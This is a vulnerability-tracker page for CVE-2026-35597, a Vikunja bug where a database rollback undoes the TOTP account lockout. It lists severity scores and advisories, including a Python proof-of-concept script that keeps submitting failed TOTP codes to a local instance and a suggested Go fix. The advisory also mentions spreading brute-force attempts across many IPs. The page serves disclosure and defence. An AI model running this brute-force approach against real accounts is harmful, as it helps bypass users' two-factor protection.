CVE-2026-35597

highpriority · track · 30EPSS 0.003 · 22 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.30% (22nd) EPSS
CVSS 7.5 · high
Is it mine?
4 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 3.6
v3.15.9mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · ENISA EU
v3.15.9mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 2.2 · impact 3.6
v3.15.9mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-fgfv-pv97-6cmjVikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout2026-04-10ghsa · osvUS

    ## Summary The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes. ## Details When a TOTP validation fails, the login handler at `pkg/routes/api/v1/login.go:95-101` calls `HandleFailedTOTPAuth` and then unconditionally rolls back: ```go if err != nil { if user2.IsErrInvalidTOTPPasscode(err) { user2.HandleFailedTOTPAuth(s, user) } _ = s.Rollback() return err } ``` `HandleFailedTOTPAuth` at `pkg/user/totp.go:201-247` uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls `user.SetStatus(s, StatusAccountLocked)` on the same database session `s`. Because the login handler always rolls back after a TOTP failure, the `StatusAccountLocked` write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. ## Proof of Concept Tested on Vikunja v2.2.2. Requires `pyotp` (`pip install pyotp`). ```python import requests, time, pyotp TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} # setup: login, enroll and enable TOTP token = requests.post(f"{API}/login", json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"] secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"] totp = pyotp.TOTP(secret) requests.post(f"{API}/user/settings/totp/enable", headers=h(token), json={"passcode": totp.now()}) # send 9 failed attempts (rate limit is 10/min) for i in range(1, 10): r = requests.post(f"{API}/login", json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"}) print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}") # wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold) time.sleep(65) for i in range(10, 13): r = requests.post(f"{API}/login", json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"}) print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}") # wait for rate limit, try with valid TOTP time.sleep(65) r = requests.post(f"{API}/login", json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()}) print(f"Valid TOTP login: {r.status_code}") # 200 - account was never locked ``` Output: ``` Attempt 1: 412 code=1017 ... Attempt 9: 412 code=1017 Attempt 10: 412 code=1017 Attempt 11: 412 code=1017 Attempt 12: 412 code=1017 Valid TOTP login: 200 ``` The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize. ## Impact An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space. ## Recommended Fix Have `HandleFailedTOTPAuth` create and commit its own independent database session for the lockout operation: ```go // Use a new session so the lockout persists regardless of caller's rollback lockoutSession := db.NewSession() defer lockoutSession.Close() err = user.SetStatus(lockoutSession, StatusAccountLocked) if err != nil { _ = lockoutSession.Rollback() return } _ = lockoutSession.Commit() ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

  • GO-2026-5362Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout in code.vikunja.io/api2026-06-25vendor · osvUS

    Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-04-10modified 2026-10-26
08

references (14)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan